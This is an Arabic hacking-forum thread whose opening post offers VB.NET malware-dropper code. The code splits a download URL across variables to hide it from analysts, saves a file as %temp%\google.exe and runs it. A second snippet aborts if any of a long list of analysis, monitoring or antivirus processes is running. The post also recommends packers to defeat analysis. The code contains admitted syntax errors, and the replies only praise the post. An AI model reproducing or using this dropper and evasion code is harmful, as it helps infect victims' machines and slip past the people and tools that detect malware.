حالة الموضوع:
مغلق
  1. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    [​IMG]
    كيف حالكم اعضاء وزوار عراق تيم
    ان شاء الله تكونو بخير
    [​IMG]
    اليوم موضوعي عن كود تقسيم الرابط
    طبعا كود جميل وحلو ويستفاد لشل الفاحص ^_^
    يعني لو استخدمت الكود وقسمت الرابط المباشر للسيرفر على كل دالة سوف يصعب على الفاحص ان يجمع الرابط وبذلك تخطيت الفاحص
    واذا ضفت كود تخطي برامج الفحص حتة لو يفتحه ما يكدر يجيب معلومات
    ويصبح اكثر قوة واحسن لو اضفت له شرط
    يوجد اكواد تلغيمات شرطية كثيرة في المنتدى
    وايضا لو تحمي بحماية قوية مثل سيف انجن او دوت نت بروجيكت او ثيميديا سوف يصعب على الفاحص تحليل التلغيمة
    وسوف تتخطى عقله ^_^
    [​IMG]
    نأتي الان الى كود التقسيم وكود التخطي طبعا كود التخطي سهل وحلو ^_^ واني ضفت جميع برامج الفحص للتخطي
    كود التقسيم
    كود:
    Public Class Form1
        Dim h, s, o, n As String
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    'تستطيع اضافة دالة وتقسم الرابط الى 5 تقسيمات واكثر 
            h = ""
            s = ""
            o = ""
            n = ""
    
    
    
    
            Dim URL As String = h & s & o & n
            Dim DownloadTo As String = Environ("temp") & "\google.exe"
    re:
            Try
                Dim w As New Net.WebClient
                IO.File.WriteAllBytes(DownloadTo, w.DownloadData(URL))
                Process.Start(DownloadTo)
            Catch ex As Exception
                ' on Error you can retry
                ' Goto Re
            End Try
        End Sub
    
    
    End Class
    
    [​IMG]
    الان نأتي الى كود التخطي
    كود:
    Public Class Form1
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            If IsSafe() Then
                ' downloder Code here
            Else
                ' Not Safe
            End If
        End Sub
        Public Function IsSafe() As Boolean
            For Each x As String In New String() {"cfp", "process2", "process3", "process10","cports", "Tcpview", "TcpEye", "procexp", "apateDNS", "IPBlocker", "ProcessExplorer", "SpeedGear", "wireshark", "DefenderDaemon", "ProcessHacker", "zlclient", "SimpleAssemblyExplorer", "DotNetResolver", "Reflector", "MegaDumpe","smsniff","telaunch","SbieCtrl","mbam"," AntiLogger","Avast","smsniff","Beethink","WifiVhannelMonitor",KillSwitch",Autoruns","PCHunter","Local Monitor"," SindBox","MlwarBytes","TiGeR-Firewal","port killer","Antia-squared","AntiAvast","AVG","BitDefender","Comodo","Kaspersky","NOD32 2",""COMODO KillSwitch","imon","HeapMemView","TCPEye V 1.0","X-NetStat Professional 5.61"."Tcpvcon","Process Monitor","Active Port","CurrPorts ","Port Explorer ","PORT MON ","Process And Port Analyzer ","Explorer Suite ","Regshot","DE Decompiler Lite "}
                If Process.GetProcessesByName(x).Length > 0 Then Return False
            Next
            Return True
        End Function
    End Class
    
    طبعا الكود بي اخطاء سهلة يمكن تصحيحها ^_^
    [​IMG]
    الان نأتي الى ختام الموضوع
    وفي الاخير
    [​IMG]
    الى جميع اعضاء ومشرفين عراق تيم بدون اسثناء
    في امان الله
     
    1 person likes this.
  2. عـقرب الـنجف

    عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    168
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    رد: بعنوان تخطي عقل الفاحص

    ما شاء الله حبيبي جعفر
    مواضيعك دائما مفجرة للقسم
    تحياتي
     
  3. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: بعنوان تخطي عقل الفاحص

    نورتني اخوية
     
  4. Mr-Cancer

    Mr-Cancer Developer

    الأنتساب:
    ‏10 يوليو 2015
    المشاركات:
    130
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    رد: بعنوان تخطي عقل الفاحص

    عاشت ايدك حبيبي جعفر استمر بآبداعك الرائع
     
  5. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: بعنوان تخطي عقل الفاحص

    انت العايش خوية
    نورتني
     
  6. علي الواسطي

    علي الواسطي DeveloPer Plus

    الأنتساب:
    ‏13 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    18
    الوظيفة:
    طالب
    الإقامة:
    iraq
    رد: بعنوان تخطي عقل الفاحص

    عاشت ايدك ع هذا الابداع استمر
     
  7. حازم مشكله

    حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    380
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    18
    الجنس:
    ذكر
    رد: بعنوان تخطي عقل الفاحص

    عاشت ايدك يامبدع
     
  8. تويتي العراقي

    تويتي العراقي <span style="font-weight: bold; text-shadow: #BBBB Developer

    الأنتساب:
    ‏8 مايو 2015
    المشاركات:
    114
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    رد: بعنوان تخطي عقل الفاحص

    عاشت ايدك مبدع تطور ملحوض كبد
     
  9. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    رد: بعنوان تخطي عقل الفاحص

    عاشت ايدك موضوع في غاية الروعة ننتضر جديدك ومواضيعك الجميلة

    او


    مبروك على الترقية تستاهل اكثر


    تقبل مروري
     
  10. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: بعنوان تخطي عقل الفاحص

    انت العايش نورت
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة